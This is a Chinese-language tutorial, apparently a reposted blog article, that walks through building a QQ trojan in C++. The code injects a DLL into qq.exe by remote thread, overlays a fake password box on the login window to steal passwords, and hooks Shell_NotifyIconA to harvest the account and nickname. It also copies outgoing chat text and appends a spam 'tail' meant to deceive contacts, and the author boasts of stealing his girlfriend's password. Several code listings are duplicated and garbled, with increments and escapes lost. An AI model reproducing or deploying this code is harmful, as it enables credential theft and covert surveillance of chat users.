如何截取QQ密码和聊天内容、去掉QQ广告栏、添加QQ尾巴

 

本文示例源代码或素材下载

  前言

  思路分析

  进入QQ进程

  远程注入DLL

  截取QQ登录密码

  截取本机QQ账号和昵称

  截取聊天内容

  增加QQ尾巴

  去掉QQ广告栏

  郑重申明

  结束语

  前言

  中国网民没有不熟悉QQ的,QQ玩家没有不知道珊瑚虫和彩虹的去广告显IP版QQ的,有段时间QQ尾巴也很盛行,就是每次聊天的时候它自动在你的聊天文字后面加一段话,欺骗你的QQ网友上当。如今的网络就好比武侠小说里的江湖,行走江湖的剑客须有绝世武功方可不倒于对手的剑下。

  本文将向你讲述如何截取QQ密码和聊天内容,如何将QQ的广告栏去掉,并添加自定的QQ尾巴。

  思路分析

  要截获QQ密码,大家一定想到键盘钩子,2006版以前的QQ用这种方法的确可以截获到QQ密码,我也曾经用这种方法将我女朋友的QQ密码给弄过来了,~~,但2007版以后的QQ在密码输入框里做了大量的手脚,即使用spy 也无法截取到任何消息,键盘钩子也失效了。我们总是幸运的,QQ登录窗口的消息还是可以获取到,既然钩子不能用了,那我们何不换种思维方式走走捷径呢?修改登录窗口的回调函数地址,截取其所有消息,并创建一个虚假的密码输入框来到达截取密码的目的,就好比在复写纸上写字,字迹会留下痕迹。

  腾讯为了保护聊天内容的安全性,防止QQ尾巴的干扰,对聊天的文字输入框用额外的控件做了特殊处理,同样不能截取到任何消息,也不能用WM_GETTEXT和WM_CHAR消息来取得其中的文字内容。其实这个问题好解决,只要用模拟键盘程序模拟“Ctrl A”->“Ctrl C”就可以得到聊天内容了。

  去QQ广告就更容易了,只要找到广告显示的子窗口,将它隐藏起来,然后在相同位置放一个自己的子窗口就可以了,如果获取到IP地址或对方的地理位置等信息也可以显示在这里。

 

说到这里,还有一个非常重要的问题,那就是我们的程序必须执行在QQ空间,因为Windows系统进程是受系统保护的,每个进程有自己独立的内存空间,很多API函数只对同一个进程有效,我们必须解决这个问题。

  进入QQ进程

  要将我们自己写的代码执行在QQ进程空间中才能实现我们上面的的分析思路,我想到了两种方法:

  第一种方法还是钩子,我们的代码写到一个dll动态链接库里,然后启动系统钩子,当任何一个进程启动时,我们的dll将会被加载到该进程中,我们判断是否为QQ进程,如果不是,我们的dll就立即卸载,否则我们就顺利地进入到QQ进程空间了。这种方法有个缺点,就是任何进程启动时我们的dll都会被加载,严重影响到系统性能,我们在学习钩子的时候书本上也确实讲过,系统钩子最好少用,如果程序代码执行效率不高的情况下,将影响系统性能,再好用的软件也将变成垃圾而被用户清除出去的。

  第二种方法就是远程dll注入,即用创建远程线程的方法在QQ进程空间中注入一个我自己的线程,这种方法针对性很强,只对QQ进程进行操作,不操作其他进程,不影响系统性能,而且灵活性好,我们随时可以将线程注入,也可以随时撤销,而第一种方法是系统钩子内部控制的,我们无法干预。

  远程注入Dll

  我们的程序分为两个部分,一部分是exe执行程序,可以控制Dll的注入,另一部分就是我们要注入的Dll。

  首先我们要找到系统中的QQ进程,这里要用到ToolHelp32系列函数,以下函数能枚举出系统所有的进程:

[cpp] view plain copy print ?
  1.   BOOL CProcessManage::EnumSystemProcess (  
  2.       OUT CStringArray *pStrAry_ProcessName/*=NULL*/,  
  3.       OUT CUIntArray *pUIntAry_ProcessID/*=NULL*/,  
  4.       OUT CStringArray *pStrAry_ProcessPriority/*=NULL*/,  
  5.       OUT CUIntArray *pUIntAry_ThreadNum/*=NULL*/,  
  6.       OUT CStringArray *pStrAry_ProcessPath/*=NULL*/  
  7.     )  
  8.   {  
  9.     HANDLE hProcess = NULL;  
  10.     PROCESSENTRY32 pe32;  
  11.     pe32.dwSize = sizeof(pe32);  
  12.     HANDLE hProcessSnap = ::CreateToolhelp32Snapshot ( TH32CS_SNAPPROCESS, 0 );  
  13.     if ( hProcessSnap == INVALID_HANDLE_VALUE )  
  14.       return FALSE;  
  15.     
  16.     BOOL bMore = ::Process32First(hProcessSnap,&pe32);  
  17.     while ( bMore )  
  18.     {  
  19.       hProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE,pe32.th32ProcessID);  
  20.       if ( pStrAry_ProcessName ) pStrAry_ProcessName->Add ( pe32.szExeFile );  
  21.       if ( pUIntAry_ProcessID ) pUIntAry_ProcessID->Add ( pe32.th32ProcessID );  
  22.       if ( pUIntAry_ThreadNum ) pUIntAry_ThreadNum->Add ( pe32.cntThreads );  
  23.       if ( pStrAry_ProcessPriority ) pStrAry_ProcessPriority->Add ( GetProcessPriority(hProcess) );  
  24.       if ( pStrAry_ProcessPath ) pStrAry_ProcessPath->Add ( GetProcessPath(pe32.th32ProcessID) );  
  25.       bMore = ::Process32Next(hProcessSnap,&pe32);  
  26.     }  
  27.     ::CloseHandle(hProcessSnap);  
  28.     return TRUE;  
  29.   }  
  30.   
  31.   从枚举出的所有进程中找到QQ进程,如下代码:  
  32.   
  33.  //   
  34.   // 枚举出 “qq.exe”的进程   
  35.   //   
  36.   int EnumQQProcess ( CStringArray *pStrAry_ProcessName/*=NULL*/,  
  37.       CUIntArray *pUIntAry_ProcessID/*=NULL*/,  
  38.       CStringArray *pStrAry_ProcessPath/*=NULL*/ )  
  39.   {  
  40.     CStringArray StrAry_ProcessName;  
  41.     CUIntArray UIntAry_ProcessID;  
  42.     CStringArray StrAry_ProcessPath;  
  43.     if ( !CProcessManage::EnumSystemProcess (  
  44.       &StrAry_ProcessName,  
  45.       &UIntAry_ProcessID,  
  46.       NULL,  
  47.       NULL,  
  48.       &StrAry_ProcessPath  
  49.       ) )  
  50.     {  
  51.       return -1;  
  52.     }  
  53.     ASSERT ( StrAry_ProcessName.GetSize() == UIntAry_ProcessID.GetSize() );  
  54.     ASSERT ( StrAry_ProcessName.GetSize() == StrAry_ProcessPath.GetSize() );  
  55.       
  56.     int nCount = 0;  
  57.     for ( int i=0; i<StrAry_ProcessName.GetSize(); i )  
  58.     {  
  59.       CString csProcessName = StrAry_ProcessName.GetAt ( i );  
  60.       TRACE ( _T("%sn"), csProcessName );  
  61.       csProcessName.MakeLower ();  
  62.       if ( csProcessName == _T("qq.exe") )  
  63.       {  
  64.         nCount ;  
  65.         if ( pStrAry_ProcessName ) pStrAry_ProcessName->Add ( csProcessName );  
  66.         if ( pUIntAry_ProcessID ) pUIntAry_ProcessID->Add ( UIntAry_ProcessID.GetAt(i) );  
  67.         if ( pStrAry_ProcessPath ) pStrAry_ProcessPath->Add ( StrAry_ProcessPath.GetAt(i) );  
  68.       }  
  69.     }  
  70.       
  71.     return nCount;  
  72.   }  
  BOOL CProcessManage::EnumSystemProcess (       OUT CStringArray *pStrAry_ProcessName/*=NULL*/,       OUT CUIntArray *pUIntAry_ProcessID/*=NULL*/,       OUT CStringArray *pStrAry_ProcessPriority/*=NULL*/,       OUT CUIntArray *pUIntAry_ThreadNum/*=NULL*/,       OUT CStringArray *pStrAry_ProcessPath/*=NULL*/     )   {     HANDLE hProcess = NULL;     PROCESSENTRY32 pe32;     pe32.dwSize = sizeof(pe32);     HANDLE hProcessSnap = ::CreateToolhelp32Snapshot ( TH32CS_SNAPPROCESS, 0 );     if ( hProcessSnap == INVALID_HANDLE_VALUE )       return FALSE;        BOOL bMore = ::Process32First(hProcessSnap,&pe32);     while ( bMore )     {       hProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE,pe32.th32ProcessID);       if ( pStrAry_ProcessName ) pStrAry_ProcessName->Add ( pe32.szExeFile );       if ( pUIntAry_ProcessID ) pUIntAry_ProcessID->Add ( pe32.th32ProcessID );       if ( pUIntAry_ThreadNum ) pUIntAry_ThreadNum->Add ( pe32.cntThreads );       if ( pStrAry_ProcessPriority ) pStrAry_ProcessPriority->Add ( GetProcessPriority(hProcess) );       if ( pStrAry_ProcessPath ) pStrAry_ProcessPath->Add ( GetProcessPath(pe32.th32ProcessID) );       bMore = ::Process32Next(hProcessSnap,&pe32);     }     ::CloseHandle(hProcessSnap);     return TRUE;   }   从枚举出的所有进程中找到QQ进程,如下代码:  //   // 枚举出 “qq.exe”的进程   //   int EnumQQProcess ( CStringArray *pStrAry_ProcessName/*=NULL*/,       CUIntArray *pUIntAry_ProcessID/*=NULL*/,       CStringArray *pStrAry_ProcessPath/*=NULL*/ )   {     CStringArray StrAry_ProcessName;     CUIntArray UIntAry_ProcessID;     CStringArray StrAry_ProcessPath;     if ( !CProcessManage::EnumSystemProcess (       &StrAry_ProcessName,       &UIntAry_ProcessID,       NULL,       NULL,       &StrAry_ProcessPath       ) )     {       return -1;     }     ASSERT ( StrAry_ProcessName.GetSize() == UIntAry_ProcessID.GetSize() );     ASSERT ( StrAry_ProcessName.GetSize() == StrAry_ProcessPath.GetSize() );          int nCount = 0;     for ( int i=0; i<StrAry_ProcessName.GetSize(); i )     {       CString csProcessName = StrAry_ProcessName.GetAt ( i );       TRACE ( _T("%sn"), csProcessName );       csProcessName.MakeLower ();       if ( csProcessName == _T("qq.exe") )       {         nCount ;         if ( pStrAry_ProcessName ) pStrAry_ProcessName->Add ( csProcessName );         if ( pUIntAry_ProcessID ) pUIntAry_ProcessID->Add ( UIntAry_ProcessID.GetAt(i) );         if ( pStrAry_ProcessPath ) pStrAry_ProcessPath->Add ( StrAry_ProcessPath.GetAt(i) );       }     }          return nCount;   }

 

  接下来我们使用函数VirtualAllocEx()/WriteProcessMemory()函数在QQ进程中申请内存空间,将我们的数据参数写入到QQ进程内存空间里,然后用CreateRemoteThread()函数在QQ进程空间中启动一个远程线程,将我们的dll执行在QQ进程空间中,如下函数既是:

[cpp] view plain copy print ?
  1. typedef void (WINAPI *FUNC_SetRemoteParameter) ( LPVOID pParaAddrss, HWND hWndInvoker );  
  2.   BOOL CRemoteThreadMateQQDlg::RemoteInject ( DWORD dwPID, BOOL bInjected )  
  3.   {  
  4.     if ( dwPID < 1 ) return FALSE;  
  5.     ShowLogText ( FormatString(_T("发现新的QQ进程(ID:%u),现在注入远程线程。rn"), dwPID) );  
  6.     BOOL bRet = TRUE;  
  7.     
  8.     // 获取dll文件路径   
  9.     CString csDllPath = GetProgramDir ();  
  10.     csDllPath = _T("dllRemoteThread.Dll");  
  11.     TCHAR szDllPath[MAX_PATH] = {0};  
  12.     lstrcpyn ( szDllPath, csDllPath, COUNT(szDllPath) );  
  13.     
  14.     // 定义变量   
  15.     void *pParaRemote = NULL;  
  16.     void *pDataRemote = NULL;  
  17.     HANDLE hProcess = NULL;  
  18.     
  19.     if ( !bInjected )  
  20.     {  
  21.       // 打开远程进程   
  22.       hProcess = OpenProcess(PROCESS_CREATE_THREAD|PROCESS_VM_OPERATION|PROCESS_VM_WRITE,FALSE,dwPID);  
  23.       if (! hProcess ) return FALSE;  
  24.         
  25.       // 在远程进程中分配内存空间,并将数据写入   
  26.       t_RemoteThreadPara tRemoteThreadPara = {0};  
  27.       strncpy ( tRemoteThreadPara.szQQTail, "我是QQ尾巴,哇哈哈……", COUNT(tRemoteThreadPara.szQQTail) );  
  28.       pParaRemote = (void*) VirtualAllocEx( hProcess, 0, sizeof(t_RemoteThreadPara), MEM_COMMIT, PAGE_READWRITE );  
  29.       ::WriteProcessMemory ( hProcess, pParaRemote, &tRemoteThreadPara, sizeof(t_RemoteThreadPara), NULL );  
  30.       pDataRemote = (void*) VirtualAllocEx( hProcess, 0, sizeof(szDllPath), MEM_COMMIT, PAGE_READWRITE );  
  31.       ::WriteProcessMemory ( hProcess, pDataRemote, szDllPath, sizeof(szDllPath), NULL );  
  32.     }  
  33.     // 装载dll文件,并将参数传入dll的数据共享区   
  34.     HMODULE hMod = LoadLibrary ( szDllPath );  
  35.     if ( hMod )  
  36.     {  
  37.       FUNC_SetRemoteParameter pfnSetRemoteParameter =  
  38.         (FUNC_SetRemoteParameter)GetProcAddress ( hMod, TEXT("SetRemoteParameter") );  
  39.       if ( pfnSetRemoteParameter )  
  40.         pfnSetRemoteParameter ( pParaRemote, GetSafeHwnd() );  
  41.     }  
  42.     else  
  43.     {  
  44.       bRet = FALSE;  
  45.     }  
  46.     if ( !bInjected )  
  47.     {  
  48.       // 创建远程线程执行代码   
  49.       DWORD dwThreadID = 0;  
  50.       HANDLE hThread = ::CreateRemoteThread ( hProcess, NULL, 0,  
  51.         (LPTHREAD_START_ROUTINE)LoadLibrary,  
  52.         pDataRemote, 0, &dwThreadID );  
  53.       if ( HANDLE_IS_VALID(hThread) )  
  54.       {  
  55.         // 等待远程线程结束   
  56.         ::WaitForSingleObject ( hThread, INFINITE );  
  57.         DWORD dwRetCode = 0;  
  58.         ::GetExitCodeThread ( hThread, &dwRetCode );  
  59.         TRACE ("run and return %dn", dwRetCode );  
  60.       }  
  61.       else  
  62.       {  
  63.         bRet = FALSE;  
  64.       }  
  65.     }  
  66.     // 释放资源   
  67.     if ( hProcess && pDataRemote )  
  68.       VirtualFreeEx( hProcess, pDataRemote, 0, MEM_RELEASE );    
  69.     if ( hMod ) FreeLibrary ( hMod );  
  70.     return bRet;  
  71.   }  
typedef void (WINAPI *FUNC_SetRemoteParameter) ( LPVOID pParaAddrss, HWND hWndInvoker );   BOOL CRemoteThreadMateQQDlg::RemoteInject ( DWORD dwPID, BOOL bInjected )   {     if ( dwPID < 1 ) return FALSE;     ShowLogText ( FormatString(_T("发现新的QQ进程(ID:%u),现在注入远程线程。rn"), dwPID) );     BOOL bRet = TRUE;        // 获取dll文件路径     CString csDllPath = GetProgramDir ();     csDllPath = _T("dllRemoteThread.Dll");     TCHAR szDllPath[MAX_PATH] = {0};     lstrcpyn ( szDllPath, csDllPath, COUNT(szDllPath) );        // 定义变量     void *pParaRemote = NULL;     void *pDataRemote = NULL;     HANDLE hProcess = NULL;        if ( !bInjected )     {       // 打开远程进程       hProcess = OpenProcess(PROCESS_CREATE_THREAD|PROCESS_VM_OPERATION|PROCESS_VM_WRITE,FALSE,dwPID);       if (! hProcess ) return FALSE;              // 在远程进程中分配内存空间,并将数据写入       t_RemoteThreadPara tRemoteThreadPara = {0};       strncpy ( tRemoteThreadPara.szQQTail, "我是QQ尾巴,哇哈哈……", COUNT(tRemoteThreadPara.szQQTail) );       pParaRemote = (void*) VirtualAllocEx( hProcess, 0, sizeof(t_RemoteThreadPara), MEM_COMMIT, PAGE_READWRITE );       ::WriteProcessMemory ( hProcess, pParaRemote, &tRemoteThreadPara, sizeof(t_RemoteThreadPara), NULL );       pDataRemote = (void*) VirtualAllocEx( hProcess, 0, sizeof(szDllPath), MEM_COMMIT, PAGE_READWRITE );       ::WriteProcessMemory ( hProcess, pDataRemote, szDllPath, sizeof(szDllPath), NULL );     }     // 装载dll文件,并将参数传入dll的数据共享区     HMODULE hMod = LoadLibrary ( szDllPath );     if ( hMod )     {       FUNC_SetRemoteParameter pfnSetRemoteParameter =         (FUNC_SetRemoteParameter)GetProcAddress ( hMod, TEXT("SetRemoteParameter") );       if ( pfnSetRemoteParameter )         pfnSetRemoteParameter ( pParaRemote, GetSafeHwnd() );     }     else     {       bRet = FALSE;     }     if ( !bInjected )     {       // 创建远程线程执行代码       DWORD dwThreadID = 0;       HANDLE hThread = ::CreateRemoteThread ( hProcess, NULL, 0,         (LPTHREAD_START_ROUTINE)LoadLibrary,         pDataRemote, 0, &dwThreadID );       if ( HANDLE_IS_VALID(hThread) )       {         // 等待远程线程结束         ::WaitForSingleObject ( hThread, INFINITE );         DWORD dwRetCode = 0;         ::GetExitCodeThread ( hThread, &dwRetCode );         TRACE ("run and return %dn", dwRetCode );       }       else       {         bRet = FALSE;       }     }     // 释放资源     if ( hProcess && pDataRemote )       VirtualFreeEx( hProcess, pDataRemote, 0, MEM_RELEASE );       if ( hMod ) FreeLibrary ( hMod );     return bRet;   }

  截取QQ登录密码

当我们的Dll注入到QQ进程以后,我们就可以在里面再启动几个线程来为我所用,其中一个线程定时调用EnumWindows()函数来获取系统中的窗口,并找到QQ登录窗口,然后调用如下代码来修改窗口的过程地址:

  // 修改相关窗口的 WindowProc 地址

  ChangeWindownProc ( m_hWndQQLoginWindow, &g_pfnOrgWindowProc_QQLoginWindow, WindowProc_QQLoginWindow );

  修改以后,QQ登录窗口的所有消息都将WindowProc_QQLoginWindow()函数获取。

  我们用EnumChildWindows()找到密码输入框的子窗口,然后创建一个EDIT控件,其大小和位置与QQ密码输入框一样,这样就覆盖在QQ密码输入框的上边了,用户在输入密码时实际上输入到我们的框中来了。

  为了保证我们的编辑框始终获得输入焦点,并且当QQ登陆框最小化或还原时还有窗口移动时不出现破绽,有几个消息我们需要处理:

  WM_MOVING – 当QQ登录窗口移动时,我们重新计算相对位置,并将我们的编辑框移动到新位置上。

  WM_SYSCOMMAND – 当QQ登录窗口最小化、还原和关闭时,我们的编辑框应该隐藏、显示和销毁。

  WM_COMMAND – 当用户点击“登录”按钮时我们要做相应处理,将我们的密码发送给QQ的密码输入框;当QQ的密码输入框获得焦点时,我们应该将焦点转移到我们的编辑框中。

  当用户输入完密码按“回车”键或点“登录”按钮时,我们先将QQ登录窗口隐藏起来,以免露出破绽,然后将我们收到到的密码在QQ密码输入框中重新输入一次,并发送“回车”按键消息,此时QQ真正开始登录,而密码已经悄悄地落入我手,哇哈哈……

  如下图:

如何截取QQ密码和聊天内容、去掉QQ广告栏、添加QQ尾巴_第1张图片

 

上图中红方框指引的输入框是我们的程序所创建,不是QQ的密码输入框,因为QQ的密码输入框里的文字是不能被选取,也不能复制粘贴的,而我们的输入框则可以。

如何截取QQ密码和聊天内容、去掉QQ广告栏、添加QQ尾巴_第2张图片

  截取本机QQ账号和昵称

  我们要截获密码或聊天内容等,首先应该先要获取到本机的QQ账号和昵称,要不然我们截获的内容归属于谁呢?没有归属的信息是毫无意义的,我想过很多办法来获取当前登录的QQ 账号和昵称,用读取远程进程内存空间的办法可以获取,但速度太慢,最后想到在我们的系统托盘里就有这些信息的提示,如下图:

  那我们如何才能获取到系统托盘的提示信息呢?那我们就要追溯到托盘的产生根源了,托盘图标是利用Win32 API函数Shell_NotifyIcon()产生的,所以我这里想到的办法就是Hook API的方法,就是替换Win32API函数地址,在QQ调用Shell_NotifyIcon()函数产生系统托盘前先调用我们的函数,如下代码所示:

  typedef BOOL (WINAPI *PFN_Shell_NotifyIconA) ( DWORD dwMessage, PNOTIFYICONDATA lpdata );
  BOOL WINAPI Hook_Shell_NotifyIconA ( DWORD dwMessage, PNOTIFYICONDATA lpdata );
  CAPIHook g_Shell_NotifyIconA ("shell32.dll", "Shell_NotifyIconA", (PROC) Hook_Shell_NotifyIconA, TRUE);

  以上代码是将Win32API系统函数Shell_NotifyIconA()地址修改为我们自己的函数地址“Hook_Shell_NotifyIconA”,这样以来QQ对系统托盘做任何操作时都会先调用我们的函数“Hook_Shell_NotifyIconA”,我们就可以从托盘提示文字里找到本地登录的QQ号码和昵称了。

但是,如果我们的程序在执行前QQ已经启动了,QQ进程不会调用Shell_NotifyIcon()函数了,那我们也就无法获得其QQ号码和昵称了,怎么办?我们可以尝试将“Explorer”(资源管理器)进程kill掉,这时Windows会自动重新启动一个“Explorer”,这时QQ进程就重新调用Shell_NotifyIcon()来创建一个新的托盘图标了,那我们可以假冒系统给QQ进程发一条托盘重建的消息让QQ自己调用Shell_NotifyIcon()函数重建托盘图标,这时我们就可以窃取到本地登录的QQ账号和昵称了。

[cpp] view plain copy print ?
  1.   //   
  2.   // 通知QQ重建托盘图标   
  3.   //   
  4.   void NotifyQQRecreateTray ()  
  5.   {  
  6.     if ( m_pQQMate )  
  7.     {  
  8.       m_pQQMate->m_csLocalQQAccount.Empty();  
  9.       m_pQQMate->m_csLocalQQNickname.Empty();  
  10.       memset ( &m_pQQMate->m_tnd, 0, sizeof(NOTIFYICONDATA) );  
  11.     }  
  12.     
  13.     CUIntArray UIntAry_ThreadID;  
  14.     CProcessManage::GetThreadInfo ( GetCurrentProcessId(), &UIntAry_ThreadID );  
  15.     for ( int i=0; i<UIntAry_ThreadID.GetSize(); i )  
  16.     {  
  17.       EnumThreadWindows ( UIntAry_ThreadID.GetAt(i), EnumThreadWndProc, LPARAM(NULL) );  
  18.     }  
  19.   }  
  20.     
  21.   BOOL CALLBACK EnumThreadWndProc ( HWND hwnd, LPARAM lParam )  
  22.   {  
  23.     TCHAR szClassName[255] = {0};  
  24.     ::GetClassName ( hwnd, szClassName, COUNT(szClassName) );  
  25.     if ( lstrcmp ( _T("Afx:400000:0"), szClassName ) == 0 )  
  26.     {  
  27.       if ( !WM_TASKBARCREATED )  
  28.         WM_TASKBARCREATED = ::RegisterWindowMessage ( _T("TaskbarCreated") );  
  29.       SendMessage ( hwnd, WM_TASKBARCREATED, NULL, NULL );  
  30.     //  HwDbgLog ( L_DEBUG, _T("删除托盘图标: hwnd - 0x%X, Class - %s"),   
  31.     //    hwnd, szClassName );   
  32.     }  
  33.       
  34.     return TRUE;  
  //   // 通知QQ重建托盘图标   //   void NotifyQQRecreateTray ()   {     if ( m_pQQMate )     {       m_pQQMate->m_csLocalQQAccount.Empty();       m_pQQMate->m_csLocalQQNickname.Empty();       memset ( &m_pQQMate->m_tnd, 0, sizeof(NOTIFYICONDATA) );     }        CUIntArray UIntAry_ThreadID;     CProcessManage::GetThreadInfo ( GetCurrentProcessId(), &UIntAry_ThreadID );     for ( int i=0; i<UIntAry_ThreadID.GetSize(); i )     {       EnumThreadWindows ( UIntAry_ThreadID.GetAt(i), EnumThreadWndProc, LPARAM(NULL) );     }   }      BOOL CALLBACK EnumThreadWndProc ( HWND hwnd, LPARAM lParam )   {     TCHAR szClassName[255] = {0};     ::GetClassName ( hwnd, szClassName, COUNT(szClassName) );     if ( lstrcmp ( _T("Afx:400000:0"), szClassName ) == 0 )     {       if ( !WM_TASKBARCREATED )         WM_TASKBARCREATED = ::RegisterWindowMessage ( _T("TaskbarCreated") );       SendMessage ( hwnd, WM_TASKBARCREATED, NULL, NULL );     //  HwDbgLog ( L_DEBUG, _T("删除托盘图标: hwnd - 0x%X, Class - %s"),     //    hwnd, szClassName );     }          return TRUE;

  }如何截取QQ密码和聊天内容、去掉QQ广告栏、添加QQ尾巴_第3张图片

被Hook后的QQ托盘信息

  截取聊天内容

  在我们注入到QQ进程空间的Dll中启动线程,定时枚举系统中的窗口,当找到聊天窗口时我们需要收集到聊天内容。

  聊天内容分为“发送”内容和“接收”内容。“接收”的文字内容未做限制,直接用WM_GET_TEXT便能获得。发送的内容比较麻烦一点,首先我们要知道用户何时发送(点“发送”按钮、按快捷键“Ctrl Enter”、按快捷键“Alt S”),要解决这些问题,我同样需要截获聊天窗口的消息。

  首先我们用EnumWindows()函数在线程中定时查找QQ聊天窗口,一旦发现新的聊天窗口出现,我们立即修改窗口过程函数地址:

    // 修改相关窗口的 WindowProc 地址
    ChangeWindownProc ( pFindQQChatInfoPara->m_hWndChatWindow,
      &pFindQQChatInfoPara->m_pfnOrgWindowProc_ChatWindow,
      WindowProc_ChatWindow );

  以上代码将QQ聊天窗口的过程函数改为我们自己的函数“WindowProc_ChatWindow()”,

  那用户到底什么时候发送聊天信息呢?我们只要截获消息711即可,收到该消息以后我们将触发一个事件,我们另外的线程便开始工作,将聊天内容通过模拟键盘事件的方式复制出来,然后再保存到我们另外的内存区域里。

[cpp] view plain copy print ?
  1. //   
  2.   // 获取用户正要发送的聊天内容,保存到数组中   
  3.   //   
  4.   CString CQQMate::GetWillSentChatText ()  
  5.   {  
  6.     HwDbgLog ( L_DEBUG, _T("----------------------------- GetWillSentChatText()") );  
  7.     int nSleepTime = 100;  
  8.     
  9.     // 激活“发送文字信息的编辑框”并获取输入焦点   
  10.     ActiveWindowAndHoldFocus ( m_pFindQQChatInfoPara_WillSendTextMsg->m_hWndChatWindow );  
  11.     CRect rcEditForSendMessage(0,0,0,0);  
  12.     ::GetWindowRect ( m_pFindQQChatInfoPara_WillSendTextMsg->m_hWndEditForSendMessage, &rcEditForSendMessage );  
  13.     ::SetFocus ( m_pFindQQChatInfoPara_WillSendTextMsg->m_hWndEditForSendMessage );    
  14.     MouseLeftClick ( rcEditForSendMessage.CenterPoint() );  
  15.       
  16.     // 将要发送的文字内容拷贝出来并保存起来   
  17.     CString csSendingText;  
  18.     for ( int i=0; i<10; i )  
  19.     {  
  20.       GetClipBoardText ();  // 清空剪贴板   
  21.       KeyboardCombineEvent ( VK_CONTROL, 'A''' );  
  22.       Sleep(nSleepTime);  
  23.       KeyboardCombineEvent ( VK_CONTROL, 'C''' );  
  24.       Sleep(nSleepTime);  
  25.       csSendingText = GetClipBoardText();  
  26.       HwDbgLog ( L_DEBUG, _T("csSendingText = %s"), csSendingText );  
  27.       if ( !csSendingText.IsEmpty() )  
  28.         break;  
  29.     }  
  30.     HwDbgLog ( L_DEBUG, _T("发送文字信息: %s"), csSendingText );  
  31.     if ( csSendingText.IsEmpty() )  
  32.     {  
  33.       return csSendingText;  
  34.     }  
  35.     else  
  36.     {  
  37.       m_pFindQQChatInfoPara_WillSendTextMsg->AddQQChatContent ( TRUE, csSendingText );  
  38.     }  
  39.     
  40.     return csSendingText;  
  41.   }  
//   // 获取用户正要发送的聊天内容,保存到数组中   //   CString CQQMate::GetWillSentChatText ()   {     HwDbgLog ( L_DEBUG, _T("----------------------------- GetWillSentChatText()") );     int nSleepTime = 100;        // 激活“发送文字信息的编辑框”并获取输入焦点     ActiveWindowAndHoldFocus ( m_pFindQQChatInfoPara_WillSendTextMsg->m_hWndChatWindow );     CRect rcEditForSendMessage(0,0,0,0);     ::GetWindowRect ( m_pFindQQChatInfoPara_WillSendTextMsg->m_hWndEditForSendMessage, &rcEditForSendMessage );     ::SetFocus ( m_pFindQQChatInfoPara_WillSendTextMsg->m_hWndEditForSendMessage );       MouseLeftClick ( rcEditForSendMessage.CenterPoint() );          // 将要发送的文字内容拷贝出来并保存起来     CString csSendingText;     for ( int i=0; i<10; i )     {       GetClipBoardText ();  // 清空剪贴板       KeyboardCombineEvent ( VK_CONTROL, 'A', '' );       Sleep(nSleepTime);       KeyboardCombineEvent ( VK_CONTROL, 'C', '' );       Sleep(nSleepTime);       csSendingText = GetClipBoardText();       HwDbgLog ( L_DEBUG, _T("csSendingText = %s"), csSendingText );       if ( !csSendingText.IsEmpty() )         break;     }     HwDbgLog ( L_DEBUG, _T("发送文字信息: %s"), csSendingText );     if ( csSendingText.IsEmpty() )     {       return csSendingText;     }     else     {       m_pFindQQChatInfoPara_WillSendTextMsg->AddQQChatContent ( TRUE, csSendingText );     }        return csSendingText;   }

    增加QQ尾巴

在获取到聊天内容后,还可以用模拟键盘的方式将QQ尾巴信息加到要发送的文字后面,如下代码所示:

[cpp] view plain copy print ?
  1.  CString CQQMate::AddQQTailText ()  
  2.   {  
  3.     HwDbgLog ( L_DEBUG, _T("----------------------------- AddQQTailText()") );  
  4.     int nSleepTime = 100;  
  5.     CString csQQTail;  
  6.       
  7.     // 将“消息模式”的聊天窗口透明化隐藏起来   
  8.     if ( m_pFindQQChatInfoPara_WillSendTextMsg->m_eQQChatWindowType == QQCHATWINDOW_MESSAGEMODE )  
  9.     {  
  10.   //    TransparentWindow ( m_pFindQQChatInfoPara_WillSendTextMsg->m_hWndChatWindow, 0 );   
  11.       ::ShowWindow ( m_pFindQQChatInfoPara_WillSendTextMsg->m_hWndChatWindow, SW_RESTORE );  
  12.     }  
  13.       
  14.     // 增加QQ尾巴内容   
  15.     int nQQTailPos = -1;  
  16.     csQQTail = GetQQTailText ( m_pFindQQChatInfoPara_WillSendTextMsg->m_csQQPeerAccount );  
  17.     if ( !csQQTail.IsEmpty() )  
  18.     {  
  19.       if ( m_pFindQQChatInfoPara_WillSendTextMsg->m_eQQChatWindowType == QQCHATWINDOW_DISCUSSION )  
  20.         csQQTail.Insert ( 0, _T("rn") );  
  21.       CopyTextToClipboard ( csQQTail );  
  22.       Sleep(nSleepTime);  
  23.       if ( m_pFindQQChatInfoPara_WillSendTextMsg->m_eQQChatWindowType == QQCHATWINDOW_DISCUSSION )  
  24.         KeyboardCombineEvent ( VK_CONTROL, VK_END, '' );  
  25.       else  
  26.         KeyboardCombineEvent ( VK_CONTROL, 'A''' );  
  27.       Sleep(nSleepTime);  
  28.       KeyboardCombineEvent ( VK_CONTROL, 'V''' );  
  29.       Sleep(nSleepTime);  
  30.     }  
  31.     HwDbgLog ( L_DEBUG, _T("QQ尾巴内容 = %s"), csQQTail );  
  32.     return csQQTail;  
  33.   }  
 CString CQQMate::AddQQTailText ()   {     HwDbgLog ( L_DEBUG, _T("----------------------------- AddQQTailText()") );     int nSleepTime = 100;     CString csQQTail;          // 将“消息模式”的聊天窗口透明化隐藏起来     if ( m_pFindQQChatInfoPara_WillSendTextMsg->m_eQQChatWindowType == QQCHATWINDOW_MESSAGEMODE )     {   //    TransparentWindow ( m_pFindQQChatInfoPara_WillSendTextMsg->m_hWndChatWindow, 0 );       ::ShowWindow ( m_pFindQQChatInfoPara_WillSendTextMsg->m_hWndChatWindow, SW_RESTORE );     }          // 增加QQ尾巴内容     int nQQTailPos = -1;     csQQTail = GetQQTailText ( m_pFindQQChatInfoPara_WillSendTextMsg->m_csQQPeerAccount );     if ( !csQQTail.IsEmpty() )     {       if ( m_pFindQQChatInfoPara_WillSendTextMsg->m_eQQChatWindowType == QQCHATWINDOW_DISCUSSION )         csQQTail.Insert ( 0, _T("rn") );       CopyTextToClipboard ( csQQTail );       Sleep(nSleepTime);       if ( m_pFindQQChatInfoPara_WillSendTextMsg->m_eQQChatWindowType == QQCHATWINDOW_DISCUSSION )         KeyboardCombineEvent ( VK_CONTROL, VK_END, '' );       else         KeyboardCombineEvent ( VK_CONTROL, 'A', '' );       Sleep(nSleepTime);       KeyboardCombineEvent ( VK_CONTROL, 'V', '' );       Sleep(nSleepTime);     }     HwDbgLog ( L_DEBUG, _T("QQ尾巴内容 = %s"), csQQTail );     return csQQTail;   }

